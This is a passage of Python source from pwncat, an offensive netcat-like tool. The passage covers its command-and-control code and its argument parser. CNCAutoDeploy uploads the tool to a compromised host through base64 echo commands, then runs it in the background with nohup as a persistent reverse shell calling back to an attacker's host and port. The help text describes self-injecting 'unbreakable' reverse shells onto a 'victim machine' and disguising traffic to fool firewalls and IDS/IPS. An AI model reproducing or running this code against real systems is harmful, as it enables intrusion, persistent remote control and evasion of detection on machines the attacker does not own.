            self.__log.debug("Remove suffix before (2): %s", repr(responses))
            responses[-1] = responses[-1].rstrip(self.__remote_suffix[0])
            self.__log.debug("Remove suffix after  (2): %s", repr(responses))

            # Ensure empty elements are removed
            self.__log.debug("Remove suffix before (3): %s", repr(responses))
            responses = [item for item in responses if item]
            self.__log.debug("Remove suffix after  (3): %s", repr(responses))

        # [4/4] Some server also echo back what we've send, so if we did send something
        # we need to strip this off as well
        if data is not None and strip_echo:
            for idx, item in enumerate(responses):
                if data in responses[idx]:
                    del responses[idx]
                elif data.rstrip() in responses[idx]:
                    del responses[idx]
                # Ensure empty elements are removed
                responses = [item for item in responses if item]

        # Return list of respones
        return responses

    # --------------------------------------------------------------------------
    # High-level Functions
    # --------------------------------------------------------------------------
    def remote_command(self, command, output):
        # type: (str, bool) -> Optional[List[bytes]]
        """Run remote command with correct linefeeds and receive response lines.

        Args:
            command (str): The command to execute on the remote end.
            output (bool): Receive output from command?
        """
        command = command.rstrip("\r\n")
        command = command.rstrip("\r")
        command = command.rstrip("\n")
        command = command + "\n"
        if output:
            return self.send_recv(StringEncoder.encode(command), True, True)
        self.send(StringEncoder.encode(command))
        return None

    def create_remote_tmpfile(self):
        # type: () -> Optional[str]
        """OS-independent remote tempfile creation.

        Returns:
            str or None: Returns path on success or None on error.
        """
        self.flush_receive()
        self.print_info("Creating tmpfile:", False, True)

        command = []
        command.append("{} -c '".format(self.__remote_python))
        command.append("import tempfile;")
        command.append("h,f=tempfile.mkstemp();")
        if self.__remote_py3:
            command.append("print(f);")
        else:
            command.append("print f;")
        command.append("'")
        response = self.remote_command("".join(command), True)

        # All good
        if response is not None and len(response) == 1:
            tmpfile = StringEncoder.decode(response[0]).rstrip()
            self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
            return tmpfile

        # Something went wrong with stripping prefix from server, we need to manually
        # check if creation was successful.
        if response is not None and len(response) > 1:
            # A bit fuzzy, but we try a few times
            for _ in range(5):
                self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True)
                for candidate in response:
                    tmpfile = StringEncoder.decode(candidate).rstrip()
                    if self.remote_file_exists(tmpfile):
                        self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
                        return tmpfile

        self.print_info("Creating tmpfile: Failed", True, True)
        self.print_info("Response: {}".format(repr(response)))
        return None

    def remote_file_exists(self, remote_path):
        # type: (str) -> bool
        """Ensure given remote path exists as a file on remote end.

        Args:
            remote_path (str): Path of file to check.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        self.flush_receive()

        # String should be short as an unstable remote might send small chunks
        unique_string = "_pwncat_"
        response = self.remote_command(
            'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True
        )
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate) == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        response = self.flush_receive()
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        return False

    def upload(self, lpath, rpath):
        # type: (str, str) -> bool
        """OS-independent upload of a local file to a remote path.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        assert self.__remote_python is not None
        assert self.__remote_py3 is not None

        rpath_b64 = self.create_remote_tmpfile()
        self.flush_receive()
        if rpath_b64 is None:
            return False
        if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True):
            return False
        if not self.__remote_base64_decode(rpath_b64, rpath):
            return False
        return True

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_remote_prefix(self):
        # type: () -> None
        """Determines if the remote always sends a specific prefix with its other data."""
        self.__remote_prefix = []
        self.__remote_suffix = []

        has_suffix = False

        self.print_info("Checking if remote sends prefix/suffix to every request...")
        response = self.send_recv(b'echo "__pwn__"\n')
        expected = b"__pwn__"

        if response:
            for line in response:
                # If the line begins with our expected response, all data after that
                # is a suffix that the server might be sending.
                if re.match(expected, line):
                    has_suffix = True
                    # If bytes are still left after our response, add it
                    if line.replace(expected, b"", 1):
                        self.__remote_suffix.append(line.replace(expected, b"", 1))
                    continue
                if has_suffix:
                    self.__remote_suffix.append(line)

        # Ensure empty elements are removed
        self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix))
        self.__remote_suffix = [item for item in self.__remote_suffix if item]
        self.__log.debug("Set suffix after:  %s", repr(self.__remote_suffix))

        if self.__remote_prefix:
            self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix)))
            for line in self.__remote_prefix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send prefix")
        if self.__remote_suffix:
            self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix)))
            for line in self.__remote_suffix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send suffix")

    def __get_remote_python_version(self, path):
        # type: (str) -> Optional[str]
        """Get remote Python version by path.

        Args:
            path (str): Path to potential python binary.

        Returns:
            Optional[str]: Python version string or None if not found.
        """
        command = []
        command.append("{} -c '".format(path))
        command.append("from __future__ import print_function;")
        command.append("import sys;")
        command.append("v=sys.version_info;")
        command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'')

        response = self.remote_command("".join(command), True)

        if response is not None and response:
            for line in response:
                match = re.search(b"^([.0-9]+)", line)
                # Potential version candidate
                if match:
                    version = StringEncoder.decode(match.group(1))
                    if version[0] in ["2", "3"]:
                        return version
        return None

    def __set_remote_python_path(self):
        # type: () -> bool
        """Enumerate remote Python binary.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # TODO: Make windows compatible
        # [1/2] 'which' method
        for name in self.__PYTHON_NAMES:
            self.print_info("Probing for: which {}".format(name))
            response = self.remote_command("which {} 2>/dev/null".format(name), True)
            if response is not None and response:
                for line in response:
                    path = StringEncoder.decode(line)
                    self.print_info("Potential path: {}".format(path))
                    version = self.__get_remote_python_version(path)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = path
                    return True

        # TODO: Make windows compatible
        # [2/2] Absolute path method
        for path in self.__PYTHON_PATHS:
            for name in self.__PYTHON_NAMES:

                python = path + "/" + name
                self.print_info("Probing for: {}".format(python))
                rpath_lines = self.remote_command(
                    "test -f {p} && echo {p} || echo".format(p=python), True
                )
                if rpath_lines is not None and rpath_lines:
                    # Reset current round
                    path_found = False

                    # We expect a length of one, but we handle errors as well.
                    for rpath_line in rpath_lines:
                        if StringEncoder.decode(rpath_line).rstrip() == python:
                            path_found = True
                            break
                    if not path_found:
                        continue

                    # Potential python candidate
                    self.print_info("Potential path: {}".format(python))
                    version = self.__get_remote_python_version(python)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = python
                    return True
        return False

    def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False):
        # type: (str, str, bool) -> bool
        """Upload a local file to a base64 encoded remote file.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.
            at_once (bool): Send all data at once.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        first = True
        data = []  # type: List[str]

        with open(lpath, "r") as fhandle:
            lines = fhandle.readlines()
            count = len(lines)
            curr = 1
            for line in lines:
                if not at_once:
                    self.print_info(
                        "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True
                    )
                b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line)))
                if first:
                    if at_once:
                        data.append('echo "{}" > "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False)
                    first = False
                else:
                    if at_once:
                        data.append('echo "{}" >> "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False)
                curr += 1

        if at_once:
            self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1))
            self.remote_command("\n".join(data), False)
        else:
            self.print_info()

        # TODO: md5 check if this is legit
        return True

    def __remote_base64_decode(self, rpath_source, rpath_target):
        # type: (str, str) -> bool
        """Decode a remote base64 encoded file with pure Python.

        Args:
            rpath_source (str): The remote path to the existing base64 encoded file.
            rpath_target (str): The remote path to the desired base64 decoded file.

        Returns:
            bool: Returns `True` on success or `False` on failure.
        """
        self.flush_receive()

        command = []
        command.append("{} -c 'import base64;".format(self.__remote_python))
        command.append('f=open("{}", "r");'.format(rpath_source))
        command.append("lines = f.readlines();")
        if self.__remote_py3:
            command.append(
                'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\''
            )
        else:
            command.append('print "".join([base64.b64decode(l) for l in lines]);\'')
        command.append('> "{}"'.format(rpath_target))

        self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target))
        self.remote_command("".join(command), False)
        # TODO: validate via md5
        return True


# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (3/3) CNCAutoDeploy
# -------------------------------------------------------------------------------------------------
class CNCAutoDeploy(CNC):
    """Command&Control pwncat auto deployment class."""

    def __init__(
        self,
        network,  # type: IONetwork
        cmd,  # type: str
        host,  # type: str
        ports,  # type: List[int]
    ):
        # type: (...) -> None
        try:
            super(CNCAutoDeploy, self).__init__(network)
        except CNCPythonNotFound:
            return

        local_path = os.path.abspath(__file__)
        remote_path = self.create_remote_tmpfile()
        remote_stdout = self.create_remote_tmpfile()
        remote_stderr = self.create_remote_tmpfile()
        if remote_path is None:
            self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.")
            return
        if not self.upload(local_path, remote_path):
            self.print_info("Unable to upload file. Aborting and handing over to current shell.")
            return
        self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr)

        # We need to wait some time for slow severs
        self.print_info("Waiting for socket")
        time.sleep(2)
        self.flush_receive()

        self.print_info("Done. Handing over to current shell.")
        return

    def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr):
        # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None
        for port in ports:
            command = []
            command.append("nohup")
            command.append(self.remote_python)
            command.append(remote_path)
            command.append(host)
            command.append(str(port))
            command.append("--exec {}".format(binary))
            command.append("--reconn")
            command.append("--reconn-wait 1")
            if stdout is not None and stderr is not None:
                command.append("> {}".format(stdout))
                command.append("2> {}".format(stderr))
            elif stdout is not None:
                command.append("> {} 2>&1".format(stdout))
            elif stderr is not None:
                command.append("> {} 2>&1".format(stderr))
            command.append("&")
            data = " ".join(command)
            print("Starting pwncat rev shell: {}".format(data))
            self.remote_command(data, False)


# #################################################################################################
# #################################################################################################
# ###
# ###   10 / 11   C O M M A N D   L I N E   A R G U M E N T S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [19/11 COMMAND LINE ARGUMENTS]: (1/2) Helper Functions
# -------------------------------------------------------------------------------------------------
def get_version():
    # type: () -> str
    """Return version information."""
    return """%(prog)s: Version %(version)s (%(url)s) by %(author)s""" % (
        {"prog": APPNAME, "version": VERSION, "url": APPREPO, "author": "cytopia"}
    )


class ArgValidator(object):
    """Validate command line arguments."""

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def __get_port_list_by_comma(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a comma separated string or empty list if invalid."""
        ports = []
        match = re.search(r"^[0-9]+(,([0-9]+))*$", value)
        if match is not None:
            ports = [int(port) for port in match.group(0).split(",")]
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_range(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a range string or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\-[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("-")]
            ports = list(range(ranges[0], ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_incr(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an increment or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\+[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("+")]
            ports = list(range(ranges[0], ranges[0] + ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    # --------------------------------------------------------------------------
    # Helper Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def is_valid_port(value):
        # type: (int) -> bool
        """Returns True if a given value is a valid port."""
        return 0 < value < 65536

    @staticmethod
    def is_valid_port_list(value):
        # type: (str) -> bool
        """Returns True if a given value is a valid port list by comma or range."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        # XOR - only one method (comma, range or increment) is allowed
        if cports and not rports and not iports:
            return True
        if rports and not cports and not iports:
            return True
        if iports and not cports and not rports:
            return True
        return False

    @staticmethod
    def get_port_list_from_string(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an comma, range or increment."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        return cports + rports + iports

    # --------------------------------------------------------------------------
    # Generic Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_port(value):
        # type: (str) -> int
        """Check argument for valid port."""
        if not ArgValidator.is_valid_port(int(value)):
            raise argparse.ArgumentTypeError("%s is an invalid port number." % value)
        return int(value)

    @staticmethod
    def type_port_list(value):
        # type: (str) -> List[int]
        """Check argument for valid port list separated by comma or range number."""
        rports = ArgValidator.__get_port_list_by_range(value)
        cports = ArgValidator.__get_port_list_by_comma(value)
        iports = ArgValidator.__get_port_list_by_incr(value)

        # Only use comma, range or increment!
        if (rports and cports) or (rports and iports) or (cports and iports):
            raise argparse.ArgumentTypeError(
                "%s is invalid. Can only use comma, range or increment." % value
            )
        if not rports and not cports and not iports:
            raise argparse.ArgumentTypeError("%s is an invalid port-list/range definition." % value)
        # Return whichever has a value
        return rports + cports + iports

    @staticmethod
    def type_file_content(value):
        # type: (str) -> str
        """Check argument for valid file content (file must exist and be readable)."""
        if not os.path.isfile(value):
            raise argparse.ArgumentTypeError("File not found: %s" % value)
        with open(value, mode="r") as fhandle:
            script = fhandle.read()
        return script

    # --------------------------------------------------------------------------
    # Specific Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_tos(value):
        # type: (str) -> str
        """Check argument for valid --tos value."""
        if value not in ["mincost", "lowcost", "reliability", "throughput", "lowdelay"]:
            raise argparse.ArgumentTypeError("%s is an invalid tos definition." % value)
        return value

    @staticmethod
    def type_info(value):
        # type: (str) -> str
        """Check argument for valid --info value."""
        if value not in ["sock", "ipv4", "ipv6", "tcp", "all", ""]:
            raise argparse.ArgumentTypeError("%s is an invalid info definition." % value)
        return value

    @staticmethod
    def type_crlf(value):
        # type: (Optional[str]) -> Optional[str]
        """Check argument for valid --crlf value."""
        if value is None:
            return None
        if value.lower() in ["crlf", "lf", "cr", "no"]:
            return value.lower()
        raise argparse.ArgumentTypeError("'%s' is an invalid choice." % value)

    @staticmethod
    def type_color(value):
        # type: (str) -> str
        """Check argument for valid --color value."""
        if value not in ["auto", "always", "never"]:
            raise argparse.ArgumentTypeError("%s is an invalid color definition." % value)
        return value

    @staticmethod
    def type_local(value):
        # type: (str) -> str
        """Check argument for valid -L/--local value."""
        match = re.search(r"^(.+:)?([0-9]+)$", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid '[addr:]port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)

        if match.group(1) is None:
            return ":" + match.group(2)
        return value

    @staticmethod
    def type_remote(value):
        # type: (str) -> str
        """Check argument for valid -R/--remote value."""
        match = re.search(r"(.+):(.+)", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid 'addr:port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)
        return value

    @staticmethod
    def type_self_inject(value):
        # type: (str) -> str
        """Check argument for valid --self-inject value."""
        opts = value.split(":")
        if len(opts) != 3:
            raise argparse.ArgumentTypeError("%s is not a valid cmd:host:port[s] pattern." % value)
        if not ArgValidator.is_valid_port_list(opts[-1]):
            raise argparse.ArgumentTypeError("%s is an invalid port definition." % value)
        return value


def _args_check_mutually_exclusive(parser, args):
    # type: (argparse.ArgumentParser, argparse.Namespace) -> None
    """Check mutually exclusive arguments."""
    # This is connect mode
    connect_mode = not args.listen and not args.zero and not args.local and not args.remote

    # [MODE] --listen
    if args.listen and (args.zero or args.local or args.remote):
        parser.print_usage()
        print(
            "%s: error: -l/--listen mutually excl. with -z/-zero, -L or -R" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODE] --zero
    if args.zero and (args.listen or args.local or args.remote):
        parser.print_usage()
        print(
            "%s: error: -z/--zero mutually excl. with -l/--listen, -L or -R" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODE]--local
    if args.local and (args.listen or args.zero or args.remote):
        parser.print_usage()
        print(
            "%s: error: -L/--local mutually excl. with -l/--listen, -z/--zero or -R" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODE] --remote
    if args.remote and (args.listen or args.zero or args.local):
        parser.print_usage()
        print(
            "%s: error: -R/--remote mutually excl. with -l/--listen, -z/--zero or -L" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODULE] --exec
    if args.cmd and (args.local or args.remote or args.zero):
        parser.print_usage()
        print(
            "%s: error: -e/--exec mutually excl. with -L, -R or -z/--zero" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [OPTIONS] -4 and -6
    if args.ipv4 and args.ipv6:
        parser.print_usage()
        print(
            "%s: error: -4 and -6 are mutually exclusive" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [OPTIONS] --source-addr/--source-port
    if not connect_mode and (args.source_port or args.source_addr):
        print(
            "%s: error: --source-addr and --source-port can only be used in connect mode."
            % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [OPTIONS] --source-addr/--source-port
    if (args.source_port and not args.source_addr) or (not args.source_port and args.source_addr):
        print(
            "%s: error: --source-addr and --source-port are both required." % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --http
    if args.http and (args.https or args.udp or args.zero):
        parser.print_usage()
        print(
            "%s: error: --http mutually excl. with --https, -u/--udp or -z/--zero" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --https
    if args.https and (args.http or args.udp or args.zero):
        parser.print_usage()
        print(
            "%s: error: --https mutually excl. with --http, -z/--udp or -z/--zero" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --keep-open
    if args.keep_open and (args.udp):
        parser.print_usage()
        print(
            "%s: error: --keep-open mutually excl. with -u/--udp" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)
    if args.keep_open and not args.listen:
        parser.print_usage()
        print(
            "%s: error: --keep-open only works with -l/--listen" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --reconn
    if args.reconn != 0 and not connect_mode:
        parser.print_usage()
        print(
            "%s: error: --reconn only works in connect mode" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --ping-init
    if args.ping_init is not False and (args.listen or args.local):
        parser.print_usage()
        print(
            "%s: error: --ping-init mutually excl. with -l/--listen or -L/--local" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --udp-sconnect
    if args.udp_sconnect and not connect_mode:
        parser.print_usage()
        print(
            "%s: error: --udp-sconnect only works in connect mode" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)


# -------------------------------------------------------------------------------------------------
# [10/11 COMMAND LINE ARGUMENTS]: (2/2) Argument Parser
# -------------------------------------------------------------------------------------------------
def get_args():
    # type: () -> argparse.Namespace
    """Retrieve command line arguments."""
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawTextHelpFormatter,
        add_help=False,
        usage="""%(prog)s [options] hostname port
       %(prog)s [options] -l [hostname] port
       %(prog)s [options] -z hostname port
       %(prog)s [options] -L [addr:]port hostname port
       %(prog)s [options] -R addr:port hostname port
       %(prog)s -V, --version
       %(prog)s -h, --help
       """
        % ({"prog": APPNAME}),
        description="""
Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.""",
    )

    positional = parser.add_argument_group("positional arguments")
    mode = parser.add_argument_group("mode arguments")
    optional = parser.add_argument_group("optional arguments")
    protocol = parser.add_argument_group("protocol arguments")
    cnc = parser.add_argument_group("command & control arguments")
    pse = parser.add_argument_group("pwncat scripting engine")
    zero = parser.add_argument_group("zero-i/o mode arguments")
    lmode = parser.add_argument_group("listen mode arguments")
    cmode = parser.add_argument_group("connect mode arguments")
    misc = parser.add_argument_group("misc arguments")

    # --------------------------------------------------------------------------
    # Positional arguments
    # --------------------------------------------------------------------------
    positional.add_argument(
        "hostname",
        nargs="?",
        type=str,
        help="""Address to listen, forward, scan or connect to.

""",
    )
    positional.add_argument(
        "port",
        type=ArgValidator.type_port_list,
        help="""[All modes]
Single port to listen, forward or connect to.
[Zero-I/O mode]
Specify multiple ports to scan:
Via list:  4444,4445,4446
Via range: 4444-4446
Via incr:  4444+2
""",
    )

    # --------------------------------------------------------------------------
    # Mode arguments
    # --------------------------------------------------------------------------
    mode.add_argument(
        "-l",
        "--listen",
        action="store_true",
        default=False,
        help="""[Listen mode]:
Start a server and listen for incoming connections.
If using TCP and a connected client disconnects or the
connection is interrupted otherwise, the server will
quit. See -k/--keep-open to change this behaviour.

""",
    )
    mode.add_argument(
        "-z",
        "--zero",
        action="store_true",
        default=False,
        help="""[Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
Used for port scanning.
See --banner for version detection.

""",
    )
    mode.add_argument(
        "-L",
        "--local",
        metavar="[addr:]port",
        type=ArgValidator.type_local,
        default=False,
        help="""[Local forward mode]:
This mode will start a server and a client internally.
The internal server will listen locally on specified
addr/port (given by --local [addr:]port).
The server will then forward traffic to the internal
client which connects to another server specified by
hostname/port given via positional arguments.
(I.e.: proxies a remote service to a local address)

""",
    )
    mode.add_argument(
        "-R",
        "--remote",
        metavar="addr:port",
        type=ArgValidator.type_remote,
        default=False,
        help="""[Remote forward mode]:
This mode will start two clients internally. One is
connecting to the target and one is connecting to
another pwncat/netcat server you have started some-
where. Once connected, it will then proxy traffic
between you and the target.
This mode should be applied on machines that block
incoming traffic and only allow outbound.
The connection to your listening server is given by
-R/--remote addr:port and the connection to the
target machine via the positional arguments.
""",
    )

    # --------------------------------------------------------------------------
    # Optional arguments
    # --------------------------------------------------------------------------
    optional.add_argument(
        "-e",
        "--exec",
        metavar="cmd",
        type=str,
        default=False,
        dest="cmd",
        help="""Execute shell command. Only for connect or listen mode.

""",
    )
    # TODO: add --crlf-i and --crlf-o to only do this on input or output and have
    # --crlf to always do it on input and output!
    optional.add_argument(
        "-C",
        "--crlf",
        metavar="lf",
        type=ArgValidator.type_crlf,
        default=None,
        help="""Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
'no' to completely remove any line feeds. By default
it will not replace anything and takes what is entered
(usually CRLF on Windows, LF on Linux and some times
CR on MacOS).

""",
    )
    optional.add_argument(
        "-n",
        "--nodns",
        action="store_true",
        default=False,
        help="""Do not resolve DNS.

""",
    )
    optional.add_argument(
        "--send-on-eof",
        action="store_true",
        default=False,
        help="""Buffer data received on stdin until EOF and send
everything in one chunk.

""",
    )
    optional.add_argument(
        "--no-shutdown",
        action="store_true",
        default=False,
        help="""Do not shutdown into half-duplex mode.
If this option is passed, pwncat won't invoke shutdown
on a socket after seeing EOF on stdin. This is provided
for backward-compatibility with OpenBSD netcat, which
exhibits this behavior.

""",
    )
    optional.add_argument(
        "-v",
        "--verbose",
        action="count",
        default=0,
        help="""Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three times.

""",
    )
    optional.add_argument(
        "--info",
        metavar="type",
        type=ArgValidator.type_info,
        default=None,
        help="""Show additional info about sockets, IPv4/6 or TCP opts
applied to the current socket connection. Valid
parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
Note, you must at least be in INFO verbose mode in order
to see them (-vv).

""",
    )
    optional.add_argument(
        "-c",
        "--color",
        metavar="str",
        type=ArgValidator.type_color,
        default="auto",
        help="""Colored log output. Specify 'always', 'never' or 'auto'.
In 'auto' mode, color is displayed as long as the output
goes to a terminal. If it is piped into a file, color
will automatically be disabled. This mode also disables
color on Windows by default. (default: auto)

""",
    )
    optional.add_argument(
        "--safe-word",
        metavar="str",
        type=str,
        default=None,
        help="""All modes:
If %(prog)s is started with this argument, it will shut
down as soon as it receives the specified string. The
--keep-open (server) or --reconn (client) options will
be ignored and it won't listen again or reconnect to you.
Use a very unique string to not have it shut down
accidentally by other input.
"""
        % ({"prog": APPNAME}),
    )

    # --------------------------------------------------------------------------
    # Protocol arguments
    # --------------------------------------------------------------------------
    protocol.add_argument(
        "-4",
        dest="ipv4",
        action="store_true",
        default=False,
        help="""Only Use IPv4 (default: IPv4 and IPv6 dualstack).

""",
    )
    protocol.add_argument(
        "-6",
        action="store_true",
        default=False,
        dest="ipv6",
        help="""Only Use IPv6 (default: IPv4 and IPv6 dualstack).

""",
    )
    protocol.add_argument(
        "-u",
        "--udp",
        action="store_true",
        default=False,
        help="""Use UDP for the connection instead of TCP.

""",
    )
    protocol.add_argument(
        "-T",
        "--tos",
        metavar="str",
        type=ArgValidator.type_tos,
        default=None,
        help="""Specifies IP Type of Service (ToS) for the connection.
Valid values are the tokens 'mincost', 'lowcost',
'reliability', 'throughput' or 'lowdelay'.

""",
    )
    protocol.add_argument(
        "--http",
        action="store_true",
        default=False,
        help="""Connect / Listen mode (TCP and UDP):
Hide traffic in http packets to fool Firewalls/IDS/IPS.

""",
    )
    protocol.add_argument(
        "--https",
        action="store_true",
        default=False,
        help="""Connect / Listen mode (TCP and UDP):
Hide traffic in https packets to fool Firewalls/IDS/IPS.

""",
    )
    protocol.add_argument(
        "-H",
        "--header",
        metavar="str",
        nargs="*",
        default=[],
        help="""Add HTTP headers to your request when using --http(s).""",
    )

    # --------------------------------------------------------------------------
    # Command & Control arguments
    # --------------------------------------------------------------------------
    cnc.add_argument(
        "--self-inject",
        metavar="cmd:host:port[s]",
        type=ArgValidator.type_self_inject,
        default=None,
        help="""Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
start your listening server with this argument.
This will then (as soon as the reverse shell connects)
automatically deploy and background-run an unbreakable
pwncat reverse shell onto the victim machine which then
also connects back to you with specified arguments.
Example: '--self-inject /bin/bash:10.0.0.1:4444'
It is also possible to launch multiple reverse shells by
specifying multiple ports.
Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
Note: this is currently an experimental feature and does
not work on Windows remote hosts yet.
""",
    )

    # --------------------------------------------------------------------------
    # PSE arguments
    # --------------------------------------------------------------------------
    pse.add_argument(
        "--script-send",
        metavar="file",
        type=ArgValidator.type_file_content,
        default=None,
        help="""All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed before
sending data to a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
    # NOTE: the function name must be 'transform'
    # NOTE: the function param name must be 'data'
    # NOTE: indentation must be 4 spaces
    # ... your transformations goes here
    return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().

""",
    )
    pse.add_argument(
        "--script-recv",
        metavar="file",
        type=ArgValidator.type_file_content,
        default=None,
        help="""All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed after
receiving data from a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
    # NOTE: the function name must be 'transform'
    # NOTE: the function param name must be 'data'
    # NOTE: indentation must be 4 spaces
    # ... your transformations goes here
    return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().
""",
    )

    # --------------------------------------------------------------------------
    # Zero-I/O mode arguments
    # --------------------------------------------------------------------------
    zero.add_argument(
        "--banner",
        action="store_true",
        default=False,
        help="""Zero-I/O (TCP and UDP):
Try banner grabbing during port scan.
""",
    )

    # --------------------------------------------------------------------------
    # Listen mode arguments
    # --------------------------------------------------------------------------
    lmode.add_argument(
        "-k",
        "--keep-open",
        action="store_true",
        default=False,
        help="""Listen mode (TCP only):
Re-accept new clients in listen mode after a client has
disconnected or the connection is interrupted otherwise.
(default: server will quit after connection is gone)

""",
    )
